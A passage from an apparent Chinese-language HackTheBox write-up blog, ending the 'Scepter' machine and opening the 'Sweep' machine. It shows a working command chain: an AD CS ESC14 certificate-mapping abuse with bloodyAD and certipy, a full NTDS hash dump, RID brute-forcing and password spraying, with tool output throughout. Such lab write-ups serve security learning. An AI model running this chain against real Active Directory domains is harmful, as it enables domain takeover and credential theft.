[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\staff
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

发现以d.baker的身份找到了ou同名证书，可以以esc9攻击，但是我尝试后发现并不可以

只能一点一点查看用户权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ powerview $domain/$user1:$pass1@$ip
/home/wackymaker/.local/share/pipx/venvs/powerview/lib/python3.13/site-packages/impacket/examples/ntlmrelayx/attacks/__init__.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Logging directory is set to /home/wackymaker/.powerview/logs/scepter-a.carter-10.129.103.0
╭─LDAPS─[dc01.scepter.htb]─[SCEPTER\a.carter]-[NS:10.129.103.0]
╰─PV ❯ Get-DomainUser -Identity h.brown -Properties *
objectClass                       : top
                                    person
                                    organizationalPerson
                                    user
cn                                : h.brown
givenName                         : h.brown
distinguishedName                 : CN=h.brown,CN=Users,DC=scepter,DC=htb
instanceType                      : 4
whenCreated                       : 31/10/2024 22:40:01 (10 months, 0 day ago)
whenChanged                       : 07/03/2025 22:19:11 (5 months, 24 days ago)
displayName                       : h.brown
uSNCreated                        : 16443
memberOf                          : CN=CMS,CN=Users,DC=scepter,DC=htb
                                    CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
                                    CN=Protected Users,CN=Users,DC=scepter,DC=htb
                                    CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
uSNChanged                        : 106593
name                              : h.brown
objectGUID                        : {b4dc0e39-0e8a-4d7c-b0ab-b55ada0f817d}
userAccountControl                : NORMAL_ACCOUNT
                                    DONT_EXPIRE_PASSWORD
badPwdCount                       : 0
codePage                          : 0
countryCode                       : 0
badPasswordTime                   : 01/01/1601 00:00:00 (424 years, 8 months ago)
lastLogoff                        : 1601-01-01 00:00:00+00:00
lastLogon                         : 01/11/2024 03:33:05 (10 months, 0 day ago)
logonHours                        : ////////////////////////////
pwdLastSet                        : 07/03/2025 22:19:11 (5 months, 24 days ago)
primaryGroupID                    : 513
objectSid                         : S-1-5-21-74879546-916818434-740295365-1108
accountExpires                    : 1601-01-01 00:00:00+00:00
logonCount                        : 3
sAMAccountName                    : h.brown
sAMAccountType                    : SAM_USER_OBJECT
userPrincipalName                 : h.brown@scepter.htb
objectCategory                    : CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities             : X509:<RFC822>h.brown@scepter.htb
dSCorePropagationData             : 11/01/2024 04:07:16 AM
                                    01/01/1601 00:00:01 AM
lastLogonTimestamp                : 01/11/2024 00:19:13 (10 months, 0 day ago)
vulnerabilities                   : [VULN-002] User account with password that never expires (LOW)

直到我找到了h.brown的这个属性altSecurityIdentities : X509:h.brown@scepter.htb

ESC14这篇文章描述了esc14的状况，类比我们现在的例子也就是当存在证书以h.brown@scepter.htb邮箱请求h.brown认证的时候，无论这个证书的dn归属，都能认证成功

首先通过组的全局掌控权限将a用户本身也具备对ou的全掌握权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

利用这权限修改其中d.baker的邮箱

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated

以d.baker身份请求证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :$hash -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'

以这个证书去认证h.brown

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip $ip -domain scepter.htb -username h.brown
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

当设置altSecurityIdentities属性后，证书认证会变成弱匹配，只要证书属性中关于这个属性的值匹配一致，则允许认证

提权

此用户不允许ntlm认证，请求tgt登陆winrm之前看看猎犬

属于的组多，但是并没有发现有意思的

查看证书，也没有什么东西

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -target $FQDN -u $user2@$domain -no-pass -k -vulnerable -stdout -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

查看这个用户可写内容

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN --dc-ip $ip -d $domain -u $user2 -k get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

这个p.adams用户能打dcsync

很明了了，能写altSecurityIdentities就意味着能重新打一次esc14

查看一下这个用户是否存在altSecurityIdentities

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d scepter.htb -k get object p.adams --attr altSecurityIdentities 
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb

不存在，给它写一个，注意这里其实能随意写，只要后面能正常对应就行

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d $domain -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>wackymaker@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

之后和之前一样的打法

因为环境恢复脚本的原因,前面的部分操作我需要重复操作

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d $domain -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>wackymaker@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 set object d.baker mail -v wackymaker@scepter.htb
[+] d.baker's mail has been updated

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :$hash -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip $ip -domain scepter.htb -username p.adams
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

成功获取管理权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb -dc-ip $ip -u p.adams -H 1b925c524f447bb821a8789c4b118ce0 --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] y
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] c-ip\p.adams:1b925c524f447bb821a8789c4b118ce0 
SMB         10.129.103.0    445    DC01             [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.129.103.0    445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.103.0    445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
SMB         10.129.103.0    445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.103.0    445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c030fca580038cc8b1100ee37064a4a9:::
SMB         10.129.103.0    445    DC01             scepter.htb\d.baker:1106:aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce:::
SMB         10.129.103.0    445    DC01             scepter.htb\a.carter:1107:aad3b435b51404eeaad3b435b51404ee:656d231c131a8f1ea8fd1138b8185674:::
SMB         10.129.103.0    445    DC01             scepter.htb\h.brown:1108:aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c:::
SMB         10.129.103.0    445    DC01             scepter.htb\p.adams:1109:aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0:::
SMB         10.129.103.0    445    DC01             scepter.htb\e.lewis:2101:aad3b435b51404eeaad3b435b51404ee:628bf1914e9efe3ef3a7a6e7136f60f3:::
SMB         10.129.103.0    445    DC01             scepter.htb\o.scott:2102:aad3b435b51404eeaad3b435b51404ee:3a4a844d2175c90f7a48e77fa92fce04:::
SMB         10.129.103.0    445    DC01             scepter.htb\M.clark:2103:aad3b435b51404eeaad3b435b51404ee:8db1c7370a5e33541985b508ffa24ce5:::
SMB         10.129.103.0    445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:0a4643c21fd6a17229b18ba639ccfd5f:::
SMB         10.129.103.0    445    DC01             [+] Dumped 11 NTDS hashes to /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds of which 10 were added to the database
SMB         10.129.103.0    445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         10.129.103.0    445    DC01             [*] cat /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.129.103.0    445    DC01             [*] grep -iv disabled /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds | cut -d ':' -f1

登陆就能拿到flag了，我今天赶时间去网吧，文章就写到这里

sweep-wp

Wed, 27 Aug 2025 23:00:26 +0800

机器简介

一台中等难度的dc，来自vulnhub，但是最近并入了htb，所以我乐意在闲暇时间玩一玩

机器在开始前附带信息如下

用户标志位于 C：\ 中，而不是用户的主目录中。请记住，HTB 实验室阻止了到玩家 VPN 隧道 IP 的 TCP 端口 22 流量。

将变量脚本生成好，并且解析域名并配置krb5.conf

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo ip=10.129.203.20>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip --generate-hosts-file hostname
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo domain=sweep.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo FQDN=INVENTORY.sweep.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ cat start.sh 
ip=10.129.203.20
domain=sweep.vl
FQDN=INVENTORY.sweep.vl

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ ping $ip
PING 10.129.203.20 (10.129.203.20) 56(84) bytes of data.
64 bytes from 10.129.203.20: icmp_seq=1 ttl=127 time=237 ms
64 bytes from 10.129.203.20: icmp_seq=2 ttl=127 time=234 ms
^C
--- 10.129.203.20 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 234.054/235.340/236.626/1.286 ms

初步打点

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.203.20:53
Open 10.129.203.20:81
Open 10.129.203.20:82
Open 10.129.203.20:88
Open 10.129.203.20:135
Open 10.129.203.20:139
Open 10.129.203.20:389
Open 10.129.203.20:445
Open 10.129.203.20:464
Open 10.129.203.20:593
Open 10.129.203.20:636
Open 10.129.203.20:3268
Open 10.129.203.20:3269
Open 10.129.203.20:3389
Open 10.129.203.20:5985

看样子是开了81，82的域控，详细扫描一下81，82

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nmap -p 81,82 -sC -sV --min-rate=10000 $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 09:39 EDT
Nmap scan report for INVENTORY.sweep.vl (10.129.203.20)
Host is up (0.24s latency).

PORT   STATE SERVICE  VERSION
81/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Lansweeper - Login
|_Requested resource was /login.aspx
82/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
| http-title: Lansweeper - Login
|_Requested resource was /login.aspx
| ssl-cert: Subject: commonName=Lansweeper Secure Website
| Subject Alternative Name: DNS:localhost, DNS:localhost, DNS:localhost
| Not valid before: 2021-11-21T09:22:27
|_Not valid after:  2121-12-21T09:22:27
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.95 seconds

是个很兼容域控的管理平台，没有枚举到存在默认界面或者可以利用的历史漏洞

检查匿名特权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\guest: 
SMB         10.129.203.20   445    INVENTORY        [*] Enumerated shares
SMB         10.129.203.20   445    INVENTORY        Share           Permissions     Remark
SMB         10.129.203.20   445    INVENTORY        -----           -----------     ------
SMB         10.129.203.20   445    INVENTORY        ADMIN$                          Remote Admin
SMB         10.129.203.20   445    INVENTORY        C$                              Default share
SMB         10.129.203.20   445    INVENTORY        DefaultPackageShare$ READ            Lansweeper PackageShare
SMB         10.129.203.20   445    INVENTORY        IPC$            READ            Remote IPC
SMB         10.129.203.20   445    INVENTORY        Lansweeper$                     Lansweeper Actions
SMB         10.129.203.20   445    INVENTORY        NETLOGON                        Logon server share

smb存在匿名，DefaultPackageShare$特殊目录当中只有一张图片

元数据没有信息，既然有匿名权限则rid爆破

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u guest -p '' --rid-brute
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\guest: 
SMB         10.129.203.20   445    INVENTORY        498: SWEEP\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        500: SWEEP\Administrator (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        501: SWEEP\Guest (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        502: SWEEP\krbtgt (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        512: SWEEP\Domain Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        513: SWEEP\Domain Users (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        514: SWEEP\Domain Guests (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        515: SWEEP\Domain Computers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        516: SWEEP\Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        517: SWEEP\Cert Publishers (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        518: SWEEP\Schema Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        519: SWEEP\Enterprise Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        520: SWEEP\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        521: SWEEP\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        522: SWEEP\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        525: SWEEP\Protected Users (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        526: SWEEP\Key Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        527: SWEEP\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        553: SWEEP\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        571: SWEEP\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        572: SWEEP\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        1000: SWEEP\INVENTORY$ (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1101: SWEEP\DnsAdmins (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        1102: SWEEP\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        1103: SWEEP\Lansweeper Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        1113: SWEEP\jgre808 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1114: SWEEP\bcla614 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1115: SWEEP\hmar648 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1116: SWEEP\jgar931 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1117: SWEEP\fcla801 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1118: SWEEP\jwil197 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1119: SWEEP\grob171 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1120: SWEEP\fdav736 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1121: SWEEP\jsmi791 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1122: SWEEP\hjoh690 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1123: SWEEP\svc_inventory_win (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1124: SWEEP\svc_inventory_lnx (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1125: SWEEP\intern (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        3101: SWEEP\Lansweeper Discovery (SidTypeGroup)

提取用户名字典

Administrator
Guest
krbtgt
INVENTORY$
jgre808
bcla614
hmar648
jgar931
fcla801
jwil197
grob171
fdav736
jsmi791
hjoh690
svc_inventory_win
svc_inventory_lnx
intern

无预认证不存在，尝试爆破同用户密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u users -p users 
·················
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\jwil197:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\grob171:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\fdav736:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\jsmi791:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\hjoh690:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\svc_inventory_win:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\svc_inventory_lnx:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\intern:intern

在爆破了两分钟后获得用户intern的凭证信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user=intern>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass=intern>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u $user -p $user --shares
